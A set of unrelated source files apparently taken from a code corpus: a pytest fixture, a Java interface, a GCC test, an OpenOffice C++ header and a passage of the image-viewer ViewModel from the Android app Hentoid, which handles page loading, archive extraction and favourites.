@pytest.yield_fixture(autouse=True, scope='session')
def prevent_dialog_box():
"""Do not open dreaded dialog box on segfault on Windows"""
import ctypes
SEM_NOGPFAULTERRORBOX = 0x0002 # From MSDN
old_err_mode = ctypes.windll.kernel32.GetErrorMode()
new_err_mode = old_err_mode | SEM_NOGPFAULTERRORBOX
ctypes.windll.kernel32.SetErrorMode(new_err_mode)
yield
ctypes.windll.kernel32.SetErrorMode(old_err_mode)
| 539 |
431 | package com.webcohesion.enunciate.javac.decorations;
import com.webcohesion.enunciate.javac.decorations.element.DecoratedElement;
/**
* @author <NAME>
*/
public interface ElementDecoration {
/**
* Apply this decoration to the given decorated element.
*
* @param e The element to decorate.
*/
void applyTo(DecoratedElement e, DecoratedProcessingEnvironment env);
}
| 127 |
488 | <filename>tools-src/gnu/gcc/libjava/testsuite/libjava.lang/PR5057.java
/* Test to make sure <clinit> is generated correctly. */
public class PR5057
{
public static int x;
static
{
x = 72;
}
public static void main (String[] args)
{
System.out.println (x);
}
}
| 110 |
679 | /**************************************************************
*
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*
*************************************************************/
#ifndef _XMLOFF_XMLEVENTEXPORT_HXX
#define _XMLOFF_XMLEVENTEXPORT_HXX
#include "sal/config.h"
#include "xmloff/dllapi.h"
#include "sal/types.h"
#include <com/sun/star/uno/Sequence.hxx>
#include <com/sun/star/uno/Reference.hxx>
#include <rtl/ustring.hxx>
#include <xmloff/xmlevent.hxx>
#include <map>
class SvXMLExport;
namespace com { namespace sun { namespace star {
namespace document { class XEventsSupplier; }
namespace container { class XNameReplace; }
namespace container { class XNameAccess; }
namespace beans { struct PropertyValue; }
} } }
typedef ::std::map< ::rtl::OUString, XMLEventExportHandler* > HandlerMap;
typedef ::std::map< ::rtl::OUString, XMLEventName > NameMap;
/**
* Export instances of EventsSupplier services. To use this class you
* must fulfill two conditions:
*
* 1) provide a translation from the API event names to XML event
* names
* 2) Register XMLEventExportHandler instances for all script types
* that you would like to export.
*
* The Export()-Methods all have a bUseWhitespace parameter that
* causes the exported elements to be surrounded by whitespace, which
* in turn causes the elements to be indented properly. By default,
* whitespace is used, but it may not be called for in all cases (e.g
* events attached to hyperlink within a paragraph.)
*/
class XMLOFF_DLLPUBLIC XMLEventExport
{
const ::rtl::OUString sEventType;
SvXMLExport& rExport;
HandlerMap aHandlerMap;
NameMap aNameTranslationMap;
bool bExtNamespace;
public:
XMLEventExport(SvXMLExport& rExport,
const XMLEventNameTranslation* pTranslationTable = NULL);
~XMLEventExport();
/// register an EventExportHandler for a particular script type
///
/// The handlers will be deleted when the object is destroyed, hence
/// no pointers to a handler registered with AddHandler() should be
/// held by anyone.
void AddHandler( const ::rtl::OUString& rName,
XMLEventExportHandler* rHandler );
/// register additional event names
void AddTranslationTable( const XMLEventNameTranslation* pTransTable );
/// export the events (calls EventExport::Export(Reference<XNameAcess>) )
void Export( ::com::sun::star::uno::Reference<
::com::sun::star::document::XEventsSupplier> & xAccess,
sal_Bool bUseWhitespace = sal_True);
/// export the events (calls EventExport::Export(Reference<XNameAcess>) )
void Export( ::com::sun::star::uno::Reference<
::com::sun::star::container::XNameReplace> & xAccess,
sal_Bool bUseWhitespace = sal_True);
/// export the events (writes <office:events> element)
void Export( ::com::sun::star::uno::Reference<
::com::sun::star::container::XNameAccess> & xAccess,
sal_Bool bUseWhitespace = sal_True);
/// export the events, but write <officeooo:events> element
/// (for new file format additions)
void ExportExt( ::com::sun::star::uno::Reference<
::com::sun::star::container::XNameAccess> & xAccess,
sal_Bool bUseWhitespace = sal_True);
/// export a single event (writes <office:events> element)
void ExportSingleEvent(
::com::sun::star::uno::Sequence<
::com::sun::star::beans::PropertyValue>& rEventValues,
const ::rtl::OUString& rApiEventName,
sal_Bool bUseWhitespace = sal_True );
private:
/// export one event (start container-element if necessary)
SAL_DLLPRIVATE void ExportEvent(
::com::sun::star::uno::Sequence<
::com::sun::star::beans::PropertyValue>& rEventValues,
const XMLEventName& rXmlEventName,
sal_Bool bUseWhitespace,
sal_Bool& rExported);
/// export the start element
SAL_DLLPRIVATE void StartElement(sal_Bool bUseWhitespace);
/// export the end element
SAL_DLLPRIVATE void EndElement(sal_Bool bUseWhitespace);
};
#endif
| 1,543 |
571 | <reponame>sanggi18/Hentoid
package me.devsaki.hentoid.viewmodels;
import android.app.Application;
import android.content.Context;
import android.net.Uri;
import android.os.Bundle;
import android.util.Pair;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.documentfile.provider.DocumentFile;
import androidx.lifecycle.AndroidViewModel;
import androidx.lifecycle.LiveData;
import androidx.lifecycle.MediatorLiveData;
import androidx.lifecycle.MutableLiveData;
import com.annimon.stream.IntStream;
import com.annimon.stream.Optional;
import com.annimon.stream.Stream;
import com.annimon.stream.function.Consumer;
import org.apache.commons.lang3.tuple.ImmutablePair;
import org.apache.commons.lang3.tuple.ImmutableTriple;
import org.greenrobot.eventbus.EventBus;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.HashMap;
import java.util.HashSet;
import java.util.List;
import java.util.Locale;
import java.util.Map;
import java.util.Queue;
import java.util.Random;
import java.util.Set;
import java.util.concurrent.ConcurrentLinkedQueue;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicInteger;
import io.reactivex.Completable;
import io.reactivex.Observable;
import io.reactivex.ObservableEmitter;
import io.reactivex.Single;
import io.reactivex.android.schedulers.AndroidSchedulers;
import io.reactivex.disposables.CompositeDisposable;
import io.reactivex.disposables.Disposable;
import io.reactivex.disposables.Disposables;
import io.reactivex.schedulers.Schedulers;
import me.devsaki.hentoid.R;
import me.devsaki.hentoid.core.Consts;
import me.devsaki.hentoid.database.CollectionDAO;
import me.devsaki.hentoid.database.ObjectBoxDAO;
import me.devsaki.hentoid.database.domains.Content;
import me.devsaki.hentoid.database.domains.ImageFile;
import me.devsaki.hentoid.enums.Site;
import me.devsaki.hentoid.enums.StatusContent;
import me.devsaki.hentoid.events.ProcessEvent;
import me.devsaki.hentoid.parsers.ContentParserFactory;
import me.devsaki.hentoid.parsers.images.ImageListParser;
import me.devsaki.hentoid.util.ArchiveHelper;
import me.devsaki.hentoid.util.ContentHelper;
import me.devsaki.hentoid.util.FileHelper;
import me.devsaki.hentoid.util.Helper;
import me.devsaki.hentoid.util.ImageHelper;
import me.devsaki.hentoid.util.Preferences;
import me.devsaki.hentoid.util.RandomSeedSingleton;
import me.devsaki.hentoid.util.ToastHelper;
import me.devsaki.hentoid.util.download.ContentQueueManager;
import me.devsaki.hentoid.util.exception.ContentNotRemovedException;
import me.devsaki.hentoid.util.exception.DownloadInterruptedException;
import me.devsaki.hentoid.util.exception.EmptyResultException;
import me.devsaki.hentoid.util.exception.LimitReachedException;
import me.devsaki.hentoid.util.exception.UnsupportedContentException;
import me.devsaki.hentoid.util.network.HttpHelper;
import me.devsaki.hentoid.widget.ContentSearchManager;
import okhttp3.Response;
import okhttp3.ResponseBody;
import timber.log.Timber;
/**
* ViewModel for the image viewer
* <p>
* Upon loading a new Content, LiveData updates are done in the following sequence :
* 1. Content
* 2. Images
* 3. Starting index
*/
public class ImageViewerViewModel extends AndroidViewModel {
// Number of concurrent image downloads
private static final int CONCURRENT_DOWNLOADS = 3;
// Collection DAO
private final CollectionDAO dao;
private final ContentSearchManager searchManager;
// Collection data
private final MutableLiveData<Content> content = new MutableLiveData<>(); // Current content
private List<Long> contentIds = Collections.emptyList(); // Content Ids of the whole collection ordered according to current filter
private int currentContentIndex = -1; // Index of current content within the above list
private long loadedContentId = -1; // ID of currently loaded book
// Pictures data
private LiveData<List<ImageFile>> currentImageSource;
private final MediatorLiveData<List<ImageFile>> databaseImages = new MediatorLiveData<>(); // Set of image of current content
private final List<ImageFile> viewerImagesInternal = Collections.synchronizedList(new ArrayList<>());
private final MutableLiveData<List<ImageFile>> viewerImages = new MutableLiveData<>(); // Currently displayed set of images (reprocessed from databaseImages)
private final MutableLiveData<Integer> startingIndex = new MutableLiveData<>(); // 0-based index of the current image
private final MutableLiveData<Boolean> shuffled = new MutableLiveData<>(); // Shuffle state of the current book
private final MutableLiveData<Boolean> showFavouritesOnly = new MutableLiveData<>();// True if viewer only shows favourite images; false if shows all pages
private int thumbIndex; // Index of the thumbnail among loaded pages
// Write cache for read indicator (no need to update DB and JSON at every page turn)
private final Set<Integer> readPageNumbers = new HashSet<>();
// TODO doc
private final Map<Integer, String> imageLocations = new HashMap<>();
// Switch to interrupt unarchiving when leaving the activity
private final AtomicBoolean interruptArchiveLoad = new AtomicBoolean(false);
// Page indexes that are being downloaded
private final Set<Integer> downloadsInProgress = Collections.synchronizedSet(new HashSet<>());
// FIFO switches to interrupt downloads when browsing the book
private final Queue<AtomicBoolean> downloadsQueue = new ConcurrentLinkedQueue<>();
// Technical
private final CompositeDisposable compositeDisposable = new CompositeDisposable();
private final CompositeDisposable imageDownloadDisposable = new CompositeDisposable();
private final CompositeDisposable notificationDisposables = new CompositeDisposable();
private Disposable searchDisposable = Disposables.empty();
private Disposable unarchiveDisposable = Disposables.empty();
private Disposable imageLoadDisposable = Disposables.empty();
private Disposable leaveDisposable = Disposables.empty();
private Disposable emptyCacheDisposable = Disposables.empty();
private boolean isArchiveExtracting = false;
public ImageViewerViewModel(@NonNull Application application, @NonNull CollectionDAO collectionDAO) {
super(application);
dao = collectionDAO;
searchManager = new ContentSearchManager(dao);
showFavouritesOnly.postValue(false);
shuffled.postValue(false);
}
@Override
protected void onCleared() {
dao.cleanup();
compositeDisposable.clear();
searchDisposable.dispose();
super.onCleared();
}
@NonNull
public LiveData<Content> getContent() {
return content;
}
@NonNull
public LiveData<List<ImageFile>> getViewerImages() {
return viewerImages;
}
@NonNull
public LiveData<Integer> getStartingIndex() {
return startingIndex;
}
@NonNull
public LiveData<Boolean> getShuffled() {
return shuffled;
}
@NonNull
public LiveData<Boolean> getShowFavouritesOnly() {
return showFavouritesOnly;
}
// Artificial observer bound to the activity's lifecycle to ensure DB images are pushed to the ViewModel
public void observeDbImages(AppCompatActivity activity) {
databaseImages.observe(activity, v -> {
});
}
public void loadFromContent(long contentId, int pageNumber) {
if (contentId > 0) {
Content loadedContent = dao.selectContent(contentId);
if (loadedContent != null)
processContent(loadedContent, pageNumber);
}
}
public void loadFromSearchParams(long contentId, int pageNumber, @NonNull Bundle bundle) {
searchManager.loadFromBundle(bundle);
applySearchParams(contentId, pageNumber);
}
private void applySearchParams(long contentId, int pageNumber) {
searchDisposable.dispose();
searchDisposable = searchManager.searchLibraryForId().subscribe(
list -> {
contentIds = list;
loadFromContent(contentId, pageNumber);
},
throwable -> {
Timber.w(throwable);
ToastHelper.toast("Book list loading failed");
}
);
}
public void setReaderStartingIndex(int index) {
startingIndex.postValue(index);
}
private void setImages(@NonNull Content theContent, int pageNumber, @NonNull List<ImageFile> newImages) {
Observable<ImageFile> observable;
databaseImages.postValue(newImages);
// Don't reload from disk / archive again if the image list hasn't changed
// e.g. page favourited
if (imageLocations.isEmpty() || newImages.size() != imageLocations.size()) {
if (theContent.isArchive())
observable = Observable.create(emitter -> processArchiveImages(theContent, newImages, interruptArchiveLoad, emitter));
else
observable = Observable.create(emitter -> processDiskImages(theContent, newImages, emitter));
AtomicInteger nbProcessed = new AtomicInteger();
imageLoadDisposable = observable
.subscribeOn(Schedulers.io())
.observeOn(Schedulers.io())
.doOnComplete(
// Called this way to properly run on io thread
() -> cacheJson(getApplication().getApplicationContext(), theContent)
)
.observeOn(AndroidSchedulers.mainThread())
.subscribe(
imageFile -> {
nbProcessed.getAndIncrement();
EventBus.getDefault().post(new ProcessEvent(ProcessEvent.EventType.PROGRESS, R.id.viewer_load, 0, nbProcessed.get(), 0, newImages.size()));
},
t -> {
Timber.e(t);
EventBus.getDefault().post(new ProcessEvent(ProcessEvent.EventType.COMPLETE, R.id.viewer_load, 0, nbProcessed.get(), 0, newImages.size()));
},
() -> {
EventBus.getDefault().post(new ProcessEvent(ProcessEvent.EventType.COMPLETE, R.id.viewer_load, 0, nbProcessed.get(), 0, newImages.size()));
for (ImageFile img : newImages)
imageLocations.put(img.getOrder(), img.getFileUri());
initViewer(theContent, -1, newImages);
imageLoadDisposable.dispose();
}
);
} else {
// Copy location properties of the new list on the current list
for (int i = 0; i < newImages.size(); i++) {
ImageFile newImg = newImages.get(i);
String location = imageLocations.get(newImg.getOrder());
newImg.setFileUri(location);
}
initViewer(theContent, pageNumber, newImages);
}
}
private void processDiskImages(
@NonNull Content theContent,
@NonNull List<ImageFile> newImages,
@NonNull final ObservableEmitter<ImageFile> emitter) {
if (theContent.isArchive())
throw new IllegalArgumentException("Content must not be an archive");
boolean missingUris = Stream.of(newImages).filter(img -> img.getFileUri().isEmpty()).count() > 0;
List<ImageFile> newImageFiles = new ArrayList<>(newImages);
// Reattach actual files to the book's pictures if they are empty or have no URI's
if (missingUris || newImages.isEmpty()) {
List<DocumentFile> pictureFiles = ContentHelper.getPictureFilesFromContent(getApplication(), theContent);
if (!pictureFiles.isEmpty()) {
if (newImages.isEmpty()) {
newImageFiles = ContentHelper.createImageListFromFiles(pictureFiles);
theContent.setImageFiles(newImageFiles);
dao.insertContent(theContent);
} else {
// Match files for viewer display; no need to persist that
ContentHelper.matchFilesToImageList(pictureFiles, newImageFiles);
}
}
}
// Replace initial images with updated images
newImages.clear();
newImages.addAll(newImageFiles);
emitter.onComplete();
}
public void onActivityLeave() {
// Dispose the composite disposables for good
imageDownloadDisposable.dispose();
notificationDisposables.dispose();
// Empty cache
emptyCacheDisposable =
Completable.fromRunnable(() -> FileHelper.emptyCacheFolder(getApplication(), Consts.PICTURE_CACHE_FOLDER))
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(
() -> emptyCacheDisposable.dispose(),
Timber::e
);
}
private synchronized void processArchiveImages(
@NonNull Content theContent,
@NonNull List<ImageFile> newImages,
@NonNull AtomicBoolean interrupt,
@NonNull final ObservableEmitter<ImageFile> emitter) throws IOException {
if (!theContent.isArchive())
throw new IllegalArgumentException("Content must be an archive");
if (isArchiveExtracting) return;
List<ImageFile> newImageFiles = new ArrayList<>(newImages);
List<ImageFile> currentImages = databaseImages.getValue();
if ((!newImages.isEmpty() && loadedContentId != newImages.get(0).getContent().getTargetId()) || null == currentImages) { // Load a new book
// TODO create a smarter cache that works with a window of a given size
File cachePicFolder = FileHelper.getOrCreateCacheFolder(getApplication(), Consts.PICTURE_CACHE_FOLDER);
if (cachePicFolder != null) {
// Empty the cache folder where previous cached images might be
File[] files = cachePicFolder.listFiles();
if (files != null)
for (File f : files)
if (!f.delete()) Timber.w("Unable to delete file %s", f.getAbsolutePath());
// Extract the images if they are contained within an archive
// Unzip the archive in the app's cache folder
DocumentFile archiveFile = FileHelper.getFileFromSingleUriString(getApplication(), theContent.getStorageUri());
// TODO replace that with a proper on-demand loading - see #706
if (archiveFile != null) {
interrupt.set(false);
isArchiveExtracting = true;
unarchiveDisposable = ArchiveHelper.extractArchiveEntriesRx(
getApplication(),
archiveFile,
Stream.of(newImageFiles).filter(i -> i.getFileUri().startsWith(theContent.getStorageUri())).map(i -> i.getFileUri().replace(theContent.getStorageUri() + File.separator, "")).toList(),
cachePicFolder,
null,
interrupt)
.subscribeOn(Schedulers.io())
.observeOn(Schedulers.computation())
.subscribe(
uri -> emitter.onNext(mapUriToImageFile(newImages, uri)),
t -> {
Timber.e(t);
isArchiveExtracting = false;
},
() -> {
isArchiveExtracting = false;
emitter.onComplete();
unarchiveDisposable.dispose();
}
);
}
}
} else { // Refresh current book with new data
for (int i = 0; i < newImageFiles.size(); i++) {
ImageFile newImg = newImageFiles.get(i);
String location = imageLocations.get(newImg.getOrder());
newImg.setFileUri(location);
}
// Replace initial images with updated images
newImages.clear();
newImages.addAll(newImageFiles);
emitter.onComplete();
}
}
/**
* Map the given file Uri to its corresponding ImageFile in the given list, using their display name
*
* @param imageFiles List of ImageFiles to map the given Uri to
* @param uri File Uri to map to one of the elements of the given list
* @return Matched ImageFile with the valued Uri if found; empty ImageFile if not found
*/
private ImageFile mapUriToImageFile(@NonNull final List<ImageFile> imageFiles, @NonNull final Uri uri) {
String path = uri.getPath();
if (null == path) return new ImageFile();
// Feed the Uri's of unzipped files back into the corresponding images for viewing
for (ImageFile img : imageFiles) {
if (FileHelper.getFileNameWithoutExtension(img.getFileUri()).equalsIgnoreCase(ArchiveHelper.extractCacheFileName(path))) {
return img.setFileUri(uri.toString());
}
}
return new ImageFile();
}
private void initViewer(@NonNull Content theContent, int pageNumber, @NonNull List<ImageFile> imageFiles) {
Boolean shuffledVal = getShuffled().getValue();
sortAndSetViewerImages(imageFiles, null != shuffledVal && shuffledVal);
if (theContent.getId() != loadedContentId) { // To be done once per book only
int startingIndex = 0;
// Auto-restart at last read position if asked to
if (Preferences.isViewerResumeLastLeft() && theContent.getLastReadPageIndex() > -1)
startingIndex = theContent.getLastReadPageIndex();
// Start at the given page number, if any
if (pageNumber > -1) {
int index = 0;
for (ImageFile img : imageFiles) {
if (img.getOrder() == pageNumber) {
startingIndex = index + 1;
break;
}
index++;
}
}
// Correct offset with the thumb index
thumbIndex = -1;
for (int i = 0; i < imageFiles.size(); i++)
if (!imageFiles.get(i).isReadable()) {
thumbIndex = i;
break;
}
if (thumbIndex == startingIndex) startingIndex += 1;
else if (thumbIndex > startingIndex) thumbIndex = 0; // Ignore if it doesn't intervene
setReaderStartingIndex(startingIndex - thumbIndex - 1);
// Init the read pages write cache
readPageNumbers.clear();
Collection<Integer> readPages = Stream.of(imageFiles).filter(ImageFile::isRead).filter(ImageFile::isReadable).map(ImageFile::getOrder).toList();
// Fix pre-v1.13 books where ImageFile.read has no value
if (readPages.isEmpty() && theContent.getLastReadPageIndex() > 0 && theContent.getLastReadPageIndex() < imageFiles.size()) {
int lastReadPageNumber = imageFiles.get(theContent.getLastReadPageIndex()).getOrder();
readPageNumbers.addAll(IntStream.rangeClosed(1, lastReadPageNumber).boxed().toList());
} else {
readPageNumbers.addAll(readPages);
}
// Mark initial page as read
if (startingIndex < imageFiles.size())
markPageAsRead(imageFiles.get(startingIndex).getOrder());
}
loadedContentId = theContent.getId();
}
public void toggleShuffle() {
Boolean shuffledVal = getShuffled().getValue();
boolean isShuffled = null != shuffledVal && shuffledVal;
isShuffled = !isShuffled;
if (isShuffled) RandomSeedSingleton.getInstance().renewSeed(Consts.SEED_PAGES);
shuffled.postValue(isShuffled);
List<ImageFile> imgs = databaseImages.getValue();
if (imgs != null) sortAndSetViewerImages(imgs, isShuffled);
}
private void sortAndSetViewerImages(@NonNull List<ImageFile> imgs, boolean shuffle) {
Stream<ImageFile> imgStream;
if (shuffle) {
Collections.shuffle(imgs, new Random(RandomSeedSingleton.getInstance().getSeed(Consts.SEED_PAGES)));
imgStream = Stream.of(imgs);
} else {
// Sort images according to their Order; don't keep the cover thumb
imgStream = Stream.of(imgs).sortBy(ImageFile::getOrder);
}
// Don't keep the cover thumb
imgStream = imgStream.filter(ImageFile::isReadable);
Boolean showFavouritesOnlyVal = getShowFavouritesOnly().getValue();
if (showFavouritesOnlyVal != null && showFavouritesOnlyVal)
imgStream = imgStream.filter(ImageFile::isFavourite);
imgs = imgStream.toList();
for (int i = 0; i < imgs.size(); i++) imgs.get(i).setDisplayOrder(i);
synchronized (viewerImagesInternal) {
viewerImagesInternal.clear();
viewerImagesInternal.addAll(imgs);
}
viewerImages.postValue(new ArrayList<>(viewerImagesInternal));
}
public void onLeaveBook(int readerIndex) {
if (Preferences.Constant.VIEWER_DELETE_ASK_BOOK == Preferences.getViewerDeleteAskMode())
Preferences.setViewerDeleteAskMode(Preferences.Constant.VIEWER_DELETE_ASK_AGAIN);
// Stop any ongoing picture loading
unarchiveDisposable.dispose();
imageLoadDisposable.dispose();
// Clear the composite disposables so that they can be reused
imageDownloadDisposable.clear();
notificationDisposables.clear();
downloadsInProgress.clear();
isArchiveExtracting = false;
interruptArchiveLoad.set(true);
// Don't do anything if the Content hasn't even been loaded
if (-1 == loadedContentId) return;
List<ImageFile> theImages = databaseImages.getValue();
Content theContent = dao.selectContent(loadedContentId);
if (null == theImages || null == theContent) return;
int nbReadablePages = (int) Stream.of(theImages).filter(ImageFile::isReadable).count();
int readThresholdPref = Preferences.getViewerReadThreshold();
int readThresholdPosition;
switch (readThresholdPref) {
case Preferences.Constant.VIEWER_READ_THRESHOLD_2:
readThresholdPosition = 2;
break;
case Preferences.Constant.VIEWER_READ_THRESHOLD_5:
readThresholdPosition = 5;
break;
case Preferences.Constant.VIEWER_READ_THRESHOLD_ALL:
readThresholdPosition = nbReadablePages;
break;
default:
readThresholdPosition = 1;
}
int collectionIndex = readerIndex + thumbIndex + 1;
boolean updateReads = (readPageNumbers.size() >= readThresholdPosition || theContent.getReads() > 0);
// Reset the memorized page index if it represents the last page
int indexToSet = (collectionIndex >= nbReadablePages) ? 0 : collectionIndex;
leaveDisposable =
Completable.fromRunnable(() -> doLeaveBook(theContent.getId(), indexToSet, updateReads))
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(
() -> leaveDisposable.dispose(),
Timber::e
);
}
private void doLeaveBook(final long contentId, int indexToSet, boolean updateReads) {
Helper.assertNonUiThread();
// Use a brand new DAO for that (the viewmodel's DAO may be in the process of being cleaned up)
CollectionDAO dao = new ObjectBoxDAO(getApplication());
try {
// Get a fresh version of current content in case it has been updated since the initial load
// (that can be the case when viewing a book that is being downloaded)
Content savedContent = dao.selectContent(contentId);
if (null == savedContent) return;
List<ImageFile> theImages = savedContent.getImageFiles();
if (null == theImages) return;
// Update image read status with the cached read statuses
long previousReadPagesCount = Stream.of(theImages).filter(ImageFile::isRead).filter(ImageFile::isReadable).count();
if (readPageNumbers.size() > previousReadPagesCount) {
for (ImageFile img : theImages)
if (readPageNumbers.contains(img.getOrder())) img.setRead(true);
savedContent.computeReadProgress();
}
if (indexToSet != savedContent.getLastReadPageIndex() || updateReads || readPageNumbers.size() > previousReadPagesCount)
ContentHelper.updateContentReadStats(getApplication(), dao, savedContent, theImages, indexToSet, updateReads);
} finally {
dao.cleanup();
}
}
public void filterFavouriteImages(boolean targetState) {
if (loadedContentId > -1) {
showFavouritesOnly.postValue(targetState);
if (searchManager != null) searchManager.setFilterPageFavourites(targetState);
applySearchParams(loadedContentId, -1);
}
}
public void toggleImageFavourite(int viewerIndex, @NonNull Consumer<Boolean> successCallback) {
ImageFile file = viewerImagesInternal.get(viewerIndex);
boolean newState = !file.isFavourite();
toggleImageFavourite(Stream.of(file).toList(), () -> successCallback.accept(newState));
}
public void toggleImageFavourite(List<ImageFile> images, @NonNull Runnable successCallback) {
compositeDisposable.add(
Completable.fromRunnable(() -> doToggleImageFavourite(images))
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(
successCallback::run,
Timber::e
)
);
}
/**
* Toggles page favourite flag in DB and in the content JSON
*
* @param images images whose flag to toggle
*/
private void doToggleImageFavourite(@NonNull final List<ImageFile> images) {
Helper.assertNonUiThread();
if (images.isEmpty()) return;
Content theContent = dao.selectContent(images.get(0).getContent().getTargetId());
if (null == theContent) return;
// We can't work on the given objects as they are tied to the UI (part of ImageFileItem)
List<ImageFile> dbImages = theContent.getImageFiles();
if (null == dbImages) return;
for (ImageFile img : images)
for (ImageFile dbImg : dbImages)
if (img.getId() == dbImg.getId()) {
dbImg.setFavourite(!dbImg.isFavourite());
break;
}
// Persist in DB
dao.insertImageFiles(dbImages);
// Persist new values in JSON
theContent.setImageFiles(dbImages);
Context context = getApplication().getApplicationContext();
if (!theContent.getJsonUri().isEmpty())
ContentHelper.updateContentJson(context, theContent);
else ContentHelper.createContentJson(context, theContent);
}
public void toggleContentFavourite(@NonNull Consumer<Boolean> successCallback) {
Content c = getContent().getValue();
if (null == c) return;
boolean newState = !c.isFavourite();
compositeDisposable.add(
Completable.fromRunnable(() -> doToggleContentFavourite(c))
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(
() -> successCallback.accept(newState),
Timber::e
)
);
}
/**
* Toggles content favourite flag in DB and in the content JSON
*
* @param content content whose flag to toggle
*/
private void doToggleContentFavourite(@NonNull final Content content) {
Helper.assertNonUiThread();
content.setFavourite(!content.isFavourite());
// Persist in DB
dao.insertContent(content);
// Persist new values in JSON
Context context = getApplication().getApplicationContext();
if (!content.getJsonUri().isEmpty())
ContentHelper.updateContentJson(context, content);
else ContentHelper.createContentJson(context, content);
}
public void deleteBook(Consumer<Throwable> onError) {
Content targetContent = dao.selectContent(loadedContentId);
if (null == targetContent) return;
// Unplug image source listener (avoid displaying pages as they are being deleted; it messes up with DB transactions)
if (currentImageSource != null) databaseImages.removeSource(currentImageSource);
compositeDisposable.add(
Completable.fromAction(() -> doDeleteBook(targetContent))
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(
() -> {
currentImageSource = null;
// Switch to the next book if the list is populated (multi-book)
if (!contentIds.isEmpty()) {
contentIds.remove(currentContentIndex);
if (currentContentIndex >= contentIds.size() && currentContentIndex > 0)
currentContentIndex--;
if (contentIds.size() > currentContentIndex)
loadFromContent(contentIds.get(currentContentIndex), -1);
} else { // Close the viewer if the list is empty (single book)
content.postValue(null);
}
},
e -> {
onError.accept(e);
// Restore image source listener on error
databaseImages.addSource(currentImageSource, imgs -> setImages(targetContent, -1, imgs));
}
)
);
}
private void doDeleteBook(@NonNull Content targetContent) throws ContentNotRemovedException {
Helper.assertNonUiThread();
ContentHelper.removeQueuedContent(getApplication(), dao, targetContent);
}
public void deletePage(int pageViewerIndex, Consumer<Throwable> onError) {
List<ImageFile> imageFiles = viewerImagesInternal;
if (imageFiles.size() > pageViewerIndex && pageViewerIndex > -1)
deletePages(Stream.of(imageFiles.get(pageViewerIndex)).toList(), onError);
}
public void deletePages(List<ImageFile> pages, Consumer<Throwable> onError) {
compositeDisposable.add(
Completable.fromRunnable(() -> doDeletePages(pages))
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(
() -> { // Update is done through LiveData
},
e -> {
Timber.e(e);
onError.accept(e);
}
)
);
}
private void doDeletePages(@NonNull List<ImageFile> pages) {
Helper.assertNonUiThread();
ContentHelper.removePages(pages, dao, getApplication());
}
public void setCover(ImageFile page) {
compositeDisposable.add(
Completable.fromRunnable(() -> doSetCover(page))
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(
() -> { // Update is done through LiveData
},
Timber::e
)
);
}
private void doSetCover(@NonNull ImageFile page) {
Helper.assertNonUiThread();
ContentHelper.setContentCover(page, dao, getApplication());
}
public void loadNextContent(int readerIndex) {
if (currentContentIndex < contentIds.size() - 1) {
currentContentIndex++;
if (!contentIds.isEmpty()) {
onLeaveBook(readerIndex);
loadFromContent(contentIds.get(currentContentIndex), -1);
}
}
}
public void loadPreviousContent(int readerIndex) {
if (currentContentIndex > 0) {
currentContentIndex--;
if (!contentIds.isEmpty()) {
onLeaveBook(readerIndex);
loadFromContent(contentIds.get(currentContentIndex), -1);
}
}
}
private void processContent(@NonNull Content theContent, int pageNumber) {
Preferences.setViewerCurrentContent(theContent.getId());
currentContentIndex = contentIds.indexOf(theContent.getId());
if (-1 == currentContentIndex) currentContentIndex = 0;
theContent.setFirst(0 == currentContentIndex);
theContent.setLast(currentContentIndex >= contentIds.size() - 1);
if (contentIds.size() > currentContentIndex && loadedContentId != contentIds.get(currentContentIndex))
imageLocations.clear();
content.postValue(theContent);
// Observe the content's images
// NB : It has to be dynamic to be updated when viewing a book from the queue screen
if (currentImageSource != null) databaseImages.removeSource(currentImageSource);
currentImageSource = dao.selectDownloadedImagesFromContent(theContent.getId());
databaseImages.addSource(currentImageSource, imgs -> setImages(theContent, pageNumber, imgs));
}
public void updateContentPreferences(@NonNull final Map<String, String> newPrefs) {
compositeDisposable.add(
Single.fromCallable(() -> doUpdateContentPreferences(getApplication().getApplicationContext(), loadedContentId, newPrefs))
.subscribeOn(Schedulers.io())
.observeOn(AndroidSchedulers.mainThread())
.subscribe(
content::postValue,
Timber::e
)
);
}
private Content doUpdateContentPreferences(@NonNull final Context context, long contentId, @NonNull final Map<String, String> newPrefs) {
Helper.assertNonUiThread();
Content theContent = dao.selectContent(contentId);
if (null == theContent) return null;
theContent.setBookPreferences(newPrefs);
// Persist in DB
dao.insertContent(theContent);
// Persist in JSON
if (!theContent.getJsonUri().isEmpty())
ContentHelper.updateContentJson(context, theContent);
else ContentHelper.createContentJson(context, theContent);
return theContent;
}
// Cache JSON URI in the database to speed up favouriting
private void cacheJson(@NonNull Context context, @NonNull Content content) {
Helper.assertNonUiThread();
if (!content.getJsonUri().isEmpty() || content.isArchive()) return;
DocumentFile folder = FileHelper.getFolderFromTreeUriString(context, content.getStorageUri());
if (null == folder) return;
DocumentFile foundFile = FileHelper.findFile(getApplication(), folder, Consts.JSON_FILE_NAME_V2);
if (null == foundFile) {
Timber.e("JSON file not detected in %s", content.getStorageUri());
return;
}
// Cache the URI of the JSON to the database
content.setJsonUri(foundFile.getUri().toString());
dao.insertContent(content);
}
